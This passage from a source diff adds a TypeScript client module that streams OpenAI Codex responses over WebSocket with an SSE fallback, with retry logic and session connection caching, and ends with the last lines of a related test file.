() => { + expect(() => extractOpenAICodexAccountId(createJwt({}))).toThrow( + "Failed to extract accountId from token", + ); + }); +}); + +describe("streamOpenAICodexResponses transport", () => { + afterEach(() => { + vi.unstubAllGlobals(); + resetOpenAICodexWebSocketDebugStats(); + }); + + const model = { + id: "gpt-5.5", + name: "GPT-5.5", + api: "openai-codex-responses", + provider: "openai-codex", + baseUrl: "https://chatgpt.test/backend-api", + reasoning: true, + input: ["text"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 128_000, + maxTokens: 16_000, + } satisfies Model<"openai-codex-responses">; + + const context = { + messages: [{ role: "user", content: "hi", timestamp: 1 }], + } satisfies Context; + + it("does not fall back to SSE when websocket transport is explicit", async () => { + const fetchMock = vi.fn(async () => { + throw new Error("fetch should not run"); + }); + vi.stubGlobal("fetch", fetchMock); + vi.stubGlobal( + "WebSocket", + vi.fn(() => { + throw new Error("websocket connect failed"); + }), + ); + + const stream = streamOpenAICodexResponses(model, context, { + apiKey: createJwt({ + "https://api.openai.com/auth": { + chatgpt_account_id: "acct-1", + }, + }), + sessionId: "session-explicit-websocket", + transport: "websocket", + }); + + const result = await stream.result(); + + expect(fetchMock).not.toHaveBeenCalled(); + expect(result.stopReason).toBe("error"); + expect(result.errorMessage).toContain("websocket connect failed"); + }); +}); diff --git a/src/llm/providers/openai-codex-responses.ts b/src/llm/providers/openai-codex-responses.ts new file mode 100644 index 00000000000..05f5f0c84c6 --- /dev/null +++ b/src/llm/providers/openai-codex-responses.ts @@ -0,0 +1,1540 @@ +import type * as NodeOs from "node:os"; +import type { + Tool as OpenAITool, + ResponseCreateParamsStreaming, + ResponseInput, + ResponseStreamEvent, +} from "openai/resources/responses/responses.js"; + +// NEVER convert to top-level runtime imports - breaks browser/Vite builds +let os: typeof NodeOs | null = null; + +type DynamicImport = (specifier: string) => Promise; + +const dynamicImport: DynamicImport = (specifier) => import(specifier); +const NODE_OS_SPECIFIER = "node:os"; + +if (typeof process !== "undefined" && (process.versions?.node || process.versions?.bun)) { + void dynamicImport(NODE_OS_SPECIFIER).then((m) => { + os = m as typeof NodeOs; + }); +} + +import { getEnvApiKey } from "../env-api-keys.js"; +import { clampThinkingLevel } from "../model-utils.js"; +import { registerSessionResourceCleanup } from "../session-resources.js"; +import type { + Api, + AssistantMessage, + Context, + Model, + SimpleStreamOptions, + StreamFunction, + StreamOptions, + Usage, +} from "../types.js"; +import { + appendAssistantMessageDiagnostic, + createAssistantMessageDiagnostic, + formatThrownValue, +} from "../utils/diagnostics.js"; +import { AssistantMessageEventStream } from "../utils/event-stream.js"; +import { headersToRecord } from "../utils/headers.js"; +import { resolveOpenAICodexAccountId } from "../utils/oauth/openai-codex-jwt.js"; +import { clampOpenAIPromptCacheKey } from "./openai-prompt-cache.js"; +import { + convertResponsesMessages, + convertResponsesTools, + processResponsesStream, +} from "./openai-responses-shared.js"; +import { buildBaseOptions } from "./simple-options.js"; + +// ============================================================================ +// Configuration +// ============================================================================ + +const DEFAULT_CODEX_BASE_URL = "https://chatgpt.com/backend-api"; +const MAX_RETRIES = 3; +const BASE_DELAY_MS = 1000; +const CODEX_TOOL_CALL_PROVIDERS = new Set(["openai", "openai-codex", "opencode"]); +const WEBSOCKET_MESSAGE_TOO_BIG_CLOSE_CODE = 1009; + +const CODEX_RESPONSE_STATUSES = new Set([ + "completed", + "incomplete", + "failed", + "cancelled", + "queued", + "in_progress", +]); + +// ============================================================================ +// Types +// ============================================================================ + +export interface OpenAICodexResponsesOptions extends StreamOptions { + reasoningEffort?: "none" | "minimal" | "low" | "medium" | "high" | "xhigh"; + reasoningSummary?: "auto" | "concise" | "detailed" | "off" | "on" | null; + serviceTier?: ResponseCreateParamsStreaming["service_tier"]; + textVerbosity?: "low" | "medium" | "high"; +} + +type CodexResponseStatus = + | "completed" + | "incomplete" + | "failed" + | "cancelled" + | "queued" + | "in_progress"; + +interface RequestBody { + model: string; + store?: boolean; + stream?: boolean; + instructions?: string; + previous_response_id?: string; + input?: ResponseInput; + tools?: OpenAITool[]; + tool_choice?: "auto"; + parallel_tool_calls?: boolean; + temperature?: number; + reasoning?: { effort?: string; summary?: string }; + service_tier?: ResponseCreateParamsStreaming["service_tier"]; + text?: { verbosity?: string }; + include?: string[]; + prompt_cache_key?: string; + [key: string]: unknown; +} + +// ============================================================================ +// Retry Helpers +// ============================================================================ + +function isRetryableError(status: number, errorText: string): boolean { + if (status === 429 || status === 500 || status === 502 || status === 503 || status === 504) { + return true; + } + return /rate.?limit|overloaded|service.?unavailable|upstream.?connect|connection.?refused/i.test( + errorText, + ); +} + +function sleep(ms: number, signal?: AbortSignal): Promise { + return new Promise((resolve, reject) => { + if (signal?.aborted) { + reject(new Error("Request was aborted")); + return; + } + const timeout = setTimeout(resolve, ms); + signal?.addEventListener("abort", () => { + clearTimeout(timeout); + reject(new Error("Request was aborted")); + }); + }); +} + +// ============================================================================ +// Main Stream Function +// ============================================================================ + +export const streamOpenAICodexResponses: StreamFunction< + "openai-codex-responses", + OpenAICodexResponsesOptions +> = ( + model: Model<"openai-codex-responses">, + context: Context, + options?: OpenAICodexResponsesOptions, +) => { + const stream = new AssistantMessageEventStream(); + + void (async () => { + const output: AssistantMessage = { + role: "assistant", + content: [], + api: "openai-codex-responses" as Api, + provider: model.provider, + model: model.id, + usage: { + input: 0, + output: 0, + cacheRead: 0, + cacheWrite: 0, + totalTokens: 0, + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, + }, + stopReason: "stop", + timestamp: Date.now(), + }; + + try { + const apiKey = options?.apiKey || getEnvApiKey(model.provider) || ""; + if (!apiKey) { + throw new Error(`No API key for provider: ${model.provider}`); + } + + const accountId = extractOpenAICodexAccountId(apiKey); + let body = buildRequestBody(model, context, options); + const nextBody = await options?.onPayload?.(body, model); + if (nextBody !== undefined) { + body = nextBody as RequestBody; + } + const websocketRequestId = options?.sessionId || createCodexRequestId(); + const sseHeaders = buildSSEHeaders( + model.headers, + options?.headers, + accountId, + apiKey, + options?.sessionId, + ); + const websocketHeaders = buildWebSocketHeaders( + model.headers, + options?.headers, + accountId, + apiKey, + websocketRequestId, + ); + const bodyJson = JSON.stringify(body); + const transport = options?.transport || "auto"; + const websocketDisabledForSession = + transport === "auto" && isWebSocketSseFallbackActive(options?.sessionId); + if (websocketDisabledForSession) { + recordWebSocketSseFallback(options?.sessionId); + } + + if (transport !== "sse" && !websocketDisabledForSession) { + let websocketStarted = false; + try { + await processWebSocketStream( + resolveCodexWebSocketUrl(model.baseUrl), + body, + websocketHeaders, + output, + stream, + model, + () => { + websocketStarted = true; + }, + options, + ); + + if (options?.signal?.aborted) { + throw new Error("Request was aborted"); + } + stream.push({ + type: "done", + reason: output.stopReason as "stop" | "length" | "toolUse", + message: output, + }); + stream.end(); + return; + } catch (error) { + const aborted = options?.signal?.aborted; + if (aborted || isCodexNonTransportError(error)) { + throw error; + } + appendAssistantMessageDiagnostic( + output, + createAssistantMessageDiagnostic("provider_transport_failure", error, { + configuredTransport: transport, + fallbackTransport: transport === "auto" && !websocketStarted ? "sse" : undefined, + eventsEmitted: websocketStarted, + phase: websocketStarted + ? "after_message_stream_start" + : "before_message_stream_start", + requestBytes: new TextEncoder().encode(bodyJson).byteLength, + }), + ); + recordWebSocketFailure(options?.sessionId, error, { + activateSseFallback: transport === "auto", + }); + if (websocketStarted || transport !== "auto") { + throw error; + } + recordWebSocketSseFallback(options?.sessionId); + } + } + + // Fetch with retry logic for rate limits and transient errors + let response: Response | undefined; + let lastError: Error | undefined; + + for (let attempt = 0; attempt <= MAX_RETRIES; attempt++) { + if (options?.signal?.aborted) { + throw new Error("Request was aborted"); + } + + try { + response = await fetch(resolveCodexUrl(model.baseUrl), { + method: "POST", + headers: sseHeaders, + body: bodyJson, + signal: options?.signal, + }); + await options?.onResponse?.( + { status: response.status, headers: headersToRecord(response.headers) }, + model, + ); + + if (response.ok) { + break; + } + + const errorText = await response.text(); + if (attempt < MAX_RETRIES && isRetryableError(response.status, errorText)) { + let delayMs = BASE_DELAY_MS * 2 ** attempt; + + const retryAfterMs = response.headers.get("retry-after-ms"); + if (retryAfterMs !== null) { + const millis = Number(retryAfterMs); + if (Number.isFinite(millis)) { + delayMs = Math.max(0, millis); + } + } else { + const retryAfter = response.headers.get("retry-after"); + if (retryAfter) { + const seconds = Number(retryAfter); + if (Number.isFinite(seconds)) { + delayMs = Math.max(0, seconds * 1000); + } else { + const date = Date.parse(retryAfter); + if (!Number.isNaN(date)) { + delayMs = Math.max(0, date - Date.now()); + } + } + } + } + + await sleep(delayMs, options?.signal); + continue; + } + + // Parse error for friendly message on final attempt or non-retryable error + const fakeResponse = new Response(errorText, { + status: response.status, + statusText: response.statusText, + }); + const info = await parseErrorResponse(fakeResponse); + throw new Error(info.friendlyMessage || info.message); + } catch (error) { + if (error instanceof Error) { + if (error.name === "AbortError" || error.message === "Request was aborted") { + throw new Error("Request was aborted", { cause: error }); + } + } + lastError = error instanceof Error ? error : new Error(String(error)); + // Network errors are retryable + if (attempt < MAX_RETRIES && !lastError.message.includes("usage limit")) { + const delayMs = BASE_DELAY_MS * 2 ** attempt; + await sleep(delayMs, options?.signal); + continue; + } + throw lastError; + } + } + + if (!response?.ok) { + throw lastError ?? new Error("Failed after retries"); + } + + if (!response.body) { + throw new Error("No response body"); + } + + stream.push({ type: "start", partial: output }); + await processStream(response, output, stream, model, options); + + if (options?.signal?.aborted) { + throw new Error("Request was aborted"); + } + + stream.push({ + type: "done", + reason: output.stopReason as "stop" | "length" | "toolUse", + message: output, + }); + stream.end(); + } catch (error) { + for (const block of output.content) { + // partialJson is only a streaming scratch buffer; never persist it. + delete (block as { partialJson?: string }).partialJson; + } + output.stopReason = options?.signal?.aborted ? "aborted" : "error"; + output.errorMessage = error instanceof Error ? error.message : String(error); + stream.push({ type: "error", reason: output.stopReason, error: output }); + stream.end(); + } + })(); + + return stream; +}; + +export const streamSimpleOpenAICodexResponses: StreamFunction< + "openai-codex-responses", + SimpleStreamOptions +> = (model: Model<"openai-codex-responses">, context: Context, options?: SimpleStreamOptions) => { + const apiKey = options?.apiKey || getEnvApiKey(model.provider); + if (!apiKey) { + throw new Error(`No API key for provider: ${model.provider}`); + } + + const base = buildBaseOptions(model, options, apiKey); + const clampedReasoning = options?.reasoning + ? clampThinkingLevel(model, options.reasoning) + : undefined; + const reasoningEffort = clampedReasoning === "off" ? undefined : clampedReasoning; + + return streamOpenAICodexResponses(model, context, { + ...base, + reasoningEffort, + } satisfies OpenAICodexResponsesOptions); +}; + +// ============================================================================ +// Request Building +// ============================================================================ + +function buildRequestBody( + model: Model<"openai-codex-responses">, + context: Context, + options?: OpenAICodexResponsesOptions, +): RequestBody { + const messages = convertResponsesMessages(model, context, CODEX_TOOL_CALL_PROVIDERS, { + includeSystemPrompt: false, + }); + + const body: RequestBody = { + model: model.id, + store: false, + stream: true, + instructions: context.systemPrompt || "You are a helpful assistant.", + input: messages, + text: { verbosity: options?.textVerbosity || "low" }, + include: ["reasoning.encrypted_content"], + prompt_cache_key: clampOpenAIPromptCacheKey(options?.sessionId), + tool_choice: "auto", + parallel_tool_calls: true, + }; + + if (options?.temperature !== undefined) { + body.temperature = options.temperature; + } + + if (options?.serviceTier !== undefined) { + body.service_tier = options.serviceTier; + } + + if (context.tools && context.tools.length > 0) { + body.tools = convertResponsesTools(context.tools, { strict: null }); + } + + if (options?.reasoningEffort !== undefined) { + const effort = + options.reasoningEffort === "none" + ? (model.thinkingLevelMap?.off ?? "none") + : (model.thinkingLevelMap?.[options.reasoningEffort] ?? options.reasoningEffort); + if (effort !== null) { + body.reasoning = { + effort, + summary: options.reasoningSummary ?? "auto", + }; + } + } + + return body; +} + +function getServiceTierCostMultiplier( + model: Pick, "id">, + serviceTier: ResponseCreateParamsStreaming["service_tier"] | undefined, +): number { + switch (serviceTier) { + case "flex": + return 0.5; + case "priority": + return model.id === "gpt-5.5" ? 2.5 : 2; + default: + return 1; + } +} + +function applyServiceTierPricing( + usage: Usage, + serviceTier: ResponseCreateParamsStreaming["service_tier"] | undefined, + model: Pick, "id">, +) { + const multiplier = getServiceTierCostMultiplier(model, serviceTier); + if (multiplier === 1) { + return; + } + + usage.cost.input *= multiplier; + usage.cost.output *= multiplier; + usage.cost.cacheRead *= multiplier; + usage.cost.cacheWrite *= multiplier; + usage.cost.total = + usage.cost.input + usage.cost.output + usage.cost.cacheRead + usage.cost.cacheWrite; +} + +function resolveCodexServiceTier( + responseServiceTier: ResponseCreateParamsStreaming["service_tier"] | undefined, + requestServiceTier: ResponseCreateParamsStreaming["service_tier"] | undefined, +): ResponseCreateParamsStreaming["service_tier"] | undefined { + if ( + responseServiceTier === "default" && + (requestServiceTier === "flex" || requestServiceTier === "priority") + ) { + return requestServiceTier; + } + return responseServiceTier ?? requestServiceTier; +} + +function resolveCodexUrl(baseUrl?: string): string { + const raw = baseUrl && baseUrl.trim().length > 0 ? baseUrl : DEFAULT_CODEX_BASE_URL; + const normalized = raw.replace(/\/+$/, ""); + if (normalized.endsWith("/codex/responses")) { + return normalized; + } + if (normalized.endsWith("/codex")) { + return `${normalized}/responses`; + } + return `${normalized}/codex/responses`; +} + +function resolveCodexWebSocketUrl(baseUrl?: string): string { + const url = new URL(resolveCodexUrl(baseUrl)); + if (url.protocol === "https:") { + url.protocol = "wss:"; + } + if (url.protocol === "http:") { + url.protocol = "ws:"; + } + return url.toString(); +} + +// ============================================================================ +// Response Processing +// ============================================================================ + +async function processStream( + response: Response, + output: AssistantMessage, + stream: AssistantMessageEventStream, + model: Model<"openai-codex-responses">, + options?: OpenAICodexResponsesOptions, +): Promise { + await processResponsesStream(mapCodexEvents(parseSSE(response)), output, stream, model, { + serviceTier: options?.serviceTier, + resolveServiceTier: resolveCodexServiceTier, + applyServiceTierPricing: (usage, serviceTier) => + applyServiceTierPricing(usage, serviceTier, model), + }); +} + +class CodexApiError extends Error { + readonly code?: string; + readonly payload?: Record; + + constructor( + message: string, + options?: { code?: string; payload?: Record; cause?: unknown }, + ) { + super(message); + this.name = "CodexApiError"; + this.code = options?.code; + this.payload = options?.payload; + this.cause = options?.cause; + } +} + +class CodexProtocolError extends Error { + readonly payload?: unknown; + + constructor(message: string, options?: { payload?: unknown; cause?: unknown }) { + super(message); + this.name = "CodexProtocolError"; + this.payload = options?.payload; + this.cause = options?.cause; + } +} + +function isCodexNonTransportError(error: unknown): boolean { + return error instanceof CodexApiError || error instanceof CodexProtocolError; +} + +async function* mapCodexEvents( + events: AsyncIterable>, +): AsyncGenerator { + for await (const event of events) { + const type = typeof event.type === "string" ? event.type : undefined; + if (!type) { + continue; + } + + if (type === "error") { + const code = (event as { code?: string }).code || ""; + const message = (event as { message?: string }).message || ""; + throw new CodexApiError(`Codex error: ${message || code || JSON.stringify(event)}`, { + code: code || undefined, + payload: event, + }); + } + + if (type === "response.failed") { + const response = (event as { response?: { error?: { code?: string; message?: string } } }) + .response; + const code = response?.error?.code; + const message = response?.error?.message; + throw new CodexApiError(message || "Codex response failed", { code, payload: event }); + } + + if ( + type === "response.done" || + type === "response.completed" || + type === "response.incomplete" + ) { + const response = (event as { response?: { status?: unknown } }).response; + const normalizedResponse = response + ? { ...response, status: normalizeCodexStatus(response.status) } + : response; + yield { + ...event, + type: "response.completed", + response: normalizedResponse, + } as ResponseStreamEvent; + return; + } + + yield event as unknown as ResponseStreamEvent; + } +} + +function normalizeCodexStatus(status: unknown): CodexResponseStatus | undefined { + if (typeof status !== "string") { + return undefined; + } + return CODEX_RESPONSE_STATUSES.has(status as CodexResponseStatus) + ? (status as CodexResponseStatus) + : undefined; +} + +// ============================================================================ +// SSE Parsing +// ============================================================================ + +async function* parseSSE(response: Response): AsyncGenerator> { + if (!response.body) { + return; + } + + const reader = response.body.getReader(); + const decoder = new TextDecoder(); + let buffer = ""; + + try { + while (true) { + const { done, value } = await reader.read(); + if (done) { + break; + } + buffer += decoder.decode(value, { stream: true }); + + let idx = buffer.indexOf("\n\n"); + while (idx !== -1) { + const chunk = buffer.slice(0, idx); + buffer = buffer.slice(idx + 2); + + const dataLines = chunk + .split("\n") + .filter((l) => l.startsWith("data:")) + .map((l) => l.slice(5).trim()); + if (dataLines.length > 0) { + const data = dataLines.join("\n").trim(); + if (data && data !== "[DONE]") { + try { + yield JSON.parse(data) as Record; + } catch (cause) { + throw new CodexProtocolError(`Invalid Codex SSE JSON: ${formatThrownValue(cause)}`, { + cause, + payload: data, + }); + } + } + } + idx = buffer.indexOf("\n\n"); + } + } + } finally { + try { + await reader.cancel(); + } catch {} + try { + reader.releaseLock(); + } catch {} + } +} + +// ============================================================================ +// WebSocket Parsing +// ============================================================================ + +const OPENAI_BETA_RESPONSES_WEBSOCKETS = "responses_websockets=2026-02-06"; +const SESSION_WEBSOCKET_CACHE_TTL_MS = 5 * 60 * 1000; + +type WebSocketEventType = "open" | "message" | "error" | "close"; +type WebSocketListener = (event: unknown) => void; + +interface WebSocketLike { + close(code?: number, reason?: string): void; + send(data: string): void; + addEventListener(type: WebSocketEventType, listener: WebSocketListener): void; + removeEventListener(type: WebSocketEventType, listener: WebSocketListener): void; +} + +interface CachedWebSocketContinuationState { + lastRequestBody: RequestBody; + lastResponseId: string; + lastResponseItems: ResponseInput; +} + +interface CachedWebSocketConnection { + socket: WebSocketLike; + busy: boolean; + idleTimer?: ReturnType; + continuation?: CachedWebSocketContinuationState; +} + +export interface OpenAICodexWebSocketDebugStats { + requests: number; + connectionsCreated: number; + connectionsReused: number; + cachedContextRequests: number; + storeTrueRequests: number; + fullContextRequests: number; + deltaRequests: number; + lastInputItems: number; + lastDeltaInputItems?: number; + lastPreviousResponseId?: string; + websocketFailures: number; + sseFallbacks: number; + websocketFallbackActive?: boolean; + lastWebSocketError?: string; +} + +const websocketSessionCache = new Map(); +const websocketDebugStats = new Map(); +const websocketSseFallbackSessions = new Set(); + +function getOrCreateWebSocketDebugStats(sessionId: string): OpenAICodexWebSocketDebugStats { + let stats = websocketDebugStats.get(sessionId); + if (!stats) { + stats = { + requests: 0, + connectionsCreated: 0, + connectionsReused: 0, + cachedContextRequests: 0, + storeTrueRequests: 0, + fullContextRequests: 0, + deltaRequests: 0, + lastInputItems: 0, + websocketFailures: 0, + sseFallbacks: 0, + }; + websocketDebugStats.set(sessionId, stats); + } + return stats; +} + +export function getOpenAICodexWebSocketDebugStats( + sessionId: string, +): OpenAICodexWebSocketDebugStats | undefined { + const stats = websocketDebugStats.get(sessionId); + return stats ? { ...stats } : undefined; +} + +export function resetOpenAICodexWebSocketDebugStats(sessionId?: string): void { + if (sessionId) { + websocketDebugStats.delete(sessionId); + websocketSseFallbackSessions.delete(sessionId); + return; + } + websocketDebugStats.clear(); + websocketSseFallbackSessions.clear(); +} + +export function closeOpenAICodexWebSocketSessions(sessionId?: string): void { + const closeEntry = (entry: CachedWebSocketConnection) => { + if (entry.idleTimer) { + clearTimeout(entry.idleTimer); + } + closeWebSocketSilently(entry.socket, 1000, "debug_close"); + }; + if (sessionId) { + const entry = websocketSessionCache.get(sessionId); + if (entry) { + closeEntry(entry); + } + websocketSessionCache.delete(sessionId); + return; + } + for (const entry of websocketSessionCache.values()) { + closeEntry(entry); + } + websocketSessionCache.clear(); +} + +registerSessionResourceCleanup(closeOpenAICodexWebSocketSessions); + +function isWebSocketSseFallbackActive(sessionId: string | undefined): boolean { + return sessionId ? websocketSseFallbackSessions.has(sessionId) : false; +} + +function recordWebSocketSseFallback(sessionId: string | undefined): void { + if (!sessionId) { + return; + } + const stats = getOrCreateWebSocketDebugStats(sessionId); + stats.sseFallbacks++; + stats.websocketFallbackActive = isWebSocketSseFallbackActive(sessionId); +} + +function recordWebSocketFailure( + sessionId: string | undefined, + error: unknown, + options: { activateSseFallback: boolean }, +): void { + if (!sessionId) { + return; + } + if (options.activateSseFallback) { + websocketSseFallbackSessions.add(sessionId); + } + + const stats = getOrCreateWebSocketDebugStats(sessionId); + stats.websocketFailures++; + stats.lastWebSocketError = formatThrownValue(error); + stats.websocketFallbackActive = isWebSocketSseFallbackActive(sessionId); +} + +type WebSocketConstructor = new ( + url: string, + protocols?: string | string[] | { headers?: Record }, +) => WebSocketLike; + +let cachedWebsocket: WebSocketConstructor | null = null; +async function getWebSocketConstructor(): Promise { + if (cachedWebsocket) { + return cachedWebsocket; + } + + // bun doesn't respect http proxy envs, ref: https://github.com/oven-sh/bun/issues/15489 + // Keep the fallback until Bun supports proxy envs in websocket. + if ( + process?.versions?.bun && + (process.env.HTTP_PROXY || + process.env.HTTPS_PROXY || + process.env.http_proxy || + process.env.https_proxy) + ) { + const m = await dynamicImport("proxy-from-env"); + const getProxyForUrl = (m as { getProxyForUrl: (url: string | object | URL) => string }) + .getProxyForUrl; + + cachedWebsocket = class extends WebSocket { + constructor(url: string | URL, options?: string | string[] | Record) { + let opts: Record = {}; + if (Array.isArray(options) || typeof options === "string") { + opts = { protocols: options }; + } else { + opts = { ...options }; + } + + const proxy = getProxyForUrl( + url.toString().replace(/^wss:/, "https:").replace(/^ws:/, "http:"), + ); + super(url, { ...opts, ...(proxy ? { proxy } : {}) } as string | string[] | undefined); + } + }; + return cachedWebsocket; + } + + const ctor = (globalThis as { WebSocket?: unknown }).WebSocket; + if (typeof ctor !== "function") { + return null; + } + return ctor as unknown as WebSocketConstructor; +} + +class WebSocketCloseError extends Error { + readonly code?: number; + readonly reason?: string; + readonly wasClean?: boolean; + + constructor(message: string, options?: { code?: number; reason?: string; wasClean?: boolean }) { + super(message); + this.name = "WebSocketCloseError"; + this.code = options?.code; + this.reason = options?.reason; + this.wasClean = options?.wasClean; + } +} + +function getWebSocketReadyState(socket: WebSocketLike): number | undefined { + const readyState = (socket as { readyState?: unknown }).readyState; + return typeof readyState === "number" ? readyState : undefined; +} + +function isWebSocketReusable(socket: WebSocketLike): boolean { + const readyState = getWebSocketReadyState(socket); + // If readyState is unavailable, assume the runtime keeps it open/reusable. + return readyState === undefined || readyState === 1; +} + +function closeWebSocketSilently(socket: WebSocketLike, code = 1000, reason = "done"): void { + try { + socket.close(code, reason); + } catch {} +} + +function scheduleSessionWebSocketExpiry(sessionId: string, entry: CachedWebSocketConnection): void { + if (entry.idleTimer) { + clearTimeout(entry.idleTimer); + } + entry.idleTimer = setTimeout(() => { + if (entry.busy) { + return; + } + closeWebSocketSilently(entry.socket, 1000, "idle_timeout"); + websocketSessionCache.delete(sessionId); + }, SESSION_WEBSOCKET_CACHE_TTL_MS); +} + +async function connectWebSocket( + url: string, + headers: Headers, + signal?: AbortSignal, +): Promise { + const WebSocketCtor = await getWebSocketConstructor(); + if (!WebSocketCtor) { + throw new Error("WebSocket transport is not available in this runtime"); + } + + const wsHeaders = headersToRecord(headers); + delete wsHeaders["OpenAI-Beta"]; + + return new Promise((resolve, reject) => { + let settled = false; + let socket: WebSocketLike; + + try { + socket = new WebSocketCtor(url, { headers: wsHeaders }); + } catch (error) { + reject(error instanceof Error ? error : new Error(String(error))); + return; + } + + const onOpen: WebSocketListener = () => { + if (settled) { + return; + } + settled = true; + cleanup(); + resolve(socket); + }; + const onError: WebSocketListener = (event) => { + const error = extractWebSocketError(event); + if (settled) { + return; + } + settled = true; + cleanup(); + reject(error); + }; + const onClose: WebSocketListener = (event) => { + const error = extractWebSocketCloseError(event); + if (settled) { + return; + } + settled = true; + cleanup(); + reject(error); + }; + const onAbort = () => { + if (settled) { + return; + } + settled = true; + cleanup(); + socket.close(1000, "aborted"); + reject(new Error("Request was aborted")); + }; + + const cleanup = () => { + socket.removeEventListener("open", onOpen); + socket.removeEventListener("error", onError); + socket.removeEventListener("close", onClose); + signal?.removeEventListener("abort", onAbort); + }; + + socket.addEventListener("open", onOpen); + socket.addEventListener("error", onError); + socket.addEventListener("close", onClose); + signal?.addEventListener("abort", onAbort); + }); +} + +async function acquireWebSocket( + url: string, + headers: Headers, + sessionId: string | undefined, + signal?: AbortSignal, +): Promise<{ + socket: WebSocketLike; + entry?: CachedWebSocketConnection; + reused: boolean; + release: (options?: { keep?: boolean }) => void; +}> { + if (!sessionId) { + const socket = await connectWebSocket(url, headers, signal); + return { + socket, + reused: false, + release: ({ keep } = {}) => { + if (keep === false) { + closeWebSocketSilently(socket); + return; + } + closeWebSocketSilently(socket); + }, + }; + } + + const cached = websocketSessionCache.get(sessionId); + if (cached) { + if (cached.idleTimer) { + clearTimeout(cached.idleTimer); + cached.idleTimer = undefined; + } + if (!cached.busy && isWebSocketReusable(cached.socket)) { + cached.busy = true; + return { + socket: cached.socket, + entry: cached, + reused: true, + release: ({ keep } = {}) => { + if (!keep || !isWebSocketReusable(cached.socket)) { + closeWebSocketSilently(cached.socket); + websocketSessionCache.delete(sessionId); + return; + } + cached.busy = false; + scheduleSessionWebSocketExpiry(sessionId, cached); + }, + }; + } + if (cached.busy) { + const socket = await connectWebSocket(url, headers, signal); + return { + socket, + reused: false, + release: () => { + closeWebSocketSilently(socket); + }, + }; + } + if (!isWebSocketReusable(cached.socket)) { + closeWebSocketSilently(cached.socket); + websocketSessionCache.delete(sessionId); + } + } + + const socket = await connectWebSocket(url, headers, signal); + const entry: CachedWebSocketConnection = { socket, busy: true }; + websocketSessionCache.set(sessionId, entry); + return { + socket, + entry, + reused: false, + release: ({ keep } = {}) => { + if (!keep || !isWebSocketReusable(entry.socket)) { + closeWebSocketSilently(entry.socket); + if (entry.idleTimer) { + clearTimeout(entry.idleTimer); + } + if (websocketSessionCache.get(sessionId) === entry) { + websocketSessionCache.delete(sessionId); + } + return; + } + entry.busy = false; + scheduleSessionWebSocketExpiry(sessionId, entry); + }, + }; +} + +function extractWebSocketError(event: unknown): Error { + if (event && typeof event === "object") { + const message = "message" in event ? (event as { message?: unknown }).message : undefined; + if (typeof message === "string" && message.length > 0) { + return new Error(message); + } + + const nestedError = "error" in event ? (event as { error?: unknown }).error : undefined; + if (nestedError instanceof Error && nestedError.message.length > 0) { + return nestedError; + } + if (nestedError && typeof nestedError === "object" && "message" in nestedError) { + const nestedMessage = (nestedError as { message?: unknown }).message; + if (typeof nestedMessage === "string" && nestedMessage.length > 0) { + return new Error(nestedMessage); + } + } + } + return new Error("WebSocket error"); +} + +function extractWebSocketCloseError(event: unknown): Error { + if (event && typeof event === "object") { + const code = "code" in event ? (event as { code?: unknown }).code : undefined; + const reason = "reason" in event ? (event as { reason?: unknown }).reason : undefined; + const wasClean = "wasClean" in event ? (event as { wasClean?: unknown }).wasClean : undefined; + const codeText = typeof code === "number" ? ` ${code}` : ""; + let reasonText = typeof reason === "string" && reason.length > 0 ? ` ${reason}` : ""; + if (!reasonText && code === WEBSOCKET_MESSAGE_TOO_BIG_CLOSE_CODE) { + reasonText = " message too big"; + } + return new WebSocketCloseError(`WebSocket closed${codeText}${reasonText}`.trim(), { + code: typeof code === "number" ? code : undefined, + reason: typeof reason === "string" && reason.length > 0 ? reason : undefined, + wasClean: typeof wasClean === "boolean" ? wasClean : undefined, + }); + } + return new Error("WebSocket closed"); +} + +async function decodeWebSocketData(data: unknown): Promise { + if (typeof data === "string") { + return data; + } + if (data instanceof ArrayBuffer) { + return new TextDecoder().decode(new Uint8Array(data)); + } + if (ArrayBuffer.isView(data)) { + const view = data; + return new TextDecoder().decode(new Uint8Array(view.buffer, view.byteOffset, view.byteLength)); + } + if (data && typeof data === "object" && "arrayBuffer" in data) { + const blobLike = data as { arrayBuffer: () => Promise }; + const arrayBuffer = await blobLike.arrayBuffer(); + return new TextDecoder().decode(new Uint8Array(arrayBuffer)); + } + return null; +} + +async function* parseWebSocket( + socket: WebSocketLike, + signal?: AbortSignal, +): AsyncGenerator> { + const queue: Record[] = []; + let pending: (() => void) | null = null; + let done = false; + let failed: Error | null = null; + let sawCompletion = false; + + const wake = () => { + if (!pending) { + return; + } + const resolve = pending; + pending = null; + resolve(); + }; + + const onMessage: WebSocketListener = (event) => { + void (async () => { + let text: string | null = null; + try { + if (!event || typeof event !== "object" || !("data" in event)) { + return; + } + text = await decodeWebSocketData((event as { data?: unknown }).data); + if (!text) { + return; + } + const parsed = JSON.parse(text) as Record; + const type = typeof parsed.type === "string" ? parsed.type : ""; + if ( + type === "response.completed" || + type === "response.done" || + type === "response.incomplete" + ) { + sawCompletion = true; + done = true; + } + queue.push(parsed); + wake(); + } catch (cause) { + failed = new CodexProtocolError( + `Invalid Codex WebSocket JSON: ${formatThrownValue(cause)}`, + { + cause, + payload: text, + }, + ); + done = true; + wake(); + } + })(); + }; + + const onError: WebSocketListener = (event) => { + failed = extractWebSocketError(event); + done = true; + wake(); + }; + + const onClose: WebSocketListener = (event) => { + if (sawCompletion) { + done = true; + wake(); + return; + } + if (!failed) { + failed = extractWebSocketCloseError(event); + } + done = true; + wake(); + }; + + const onAbort = () => { + failed = new Error("Request was aborted"); + done = true; + wake(); + }; + + socket.addEventListener("message", onMessage); + socket.addEventListener("error", onError); + socket.addEventListener("close", onClose); + signal?.addEventListener("abort", onAbort); + + try { + while (true) { + if (signal?.aborted) { + throw new Error("Request was aborted"); + } + if (queue.length > 0) { + yield queue.shift()!; + continue; + } + if (done) { + break; + } + await new Promise((resolve) => { + pending = resolve; + }); + } + + if (failed) { + throw failed; + } + if (!sawCompletion) { + throw new Error("WebSocket stream closed before response.completed"); + } + } finally { + socket.removeEventListener("message", onMessage); + socket.removeEventListener("error", onError); + socket.removeEventListener("close", onClose); + signal?.removeEventListener("abort", onAbort); + } +} + +function requestBodyWithoutInput(body: RequestBody): RequestBody { + const { input, previous_response_id: previousResponseId, ...rest } = body; + return rest; +} + +function responseInputsEqual(a: ResponseInput | undefined, b: ResponseInput | undefined): boolean { + return JSON.stringify(a ?? []) === JSON.stringify(b ?? []); +} + +function 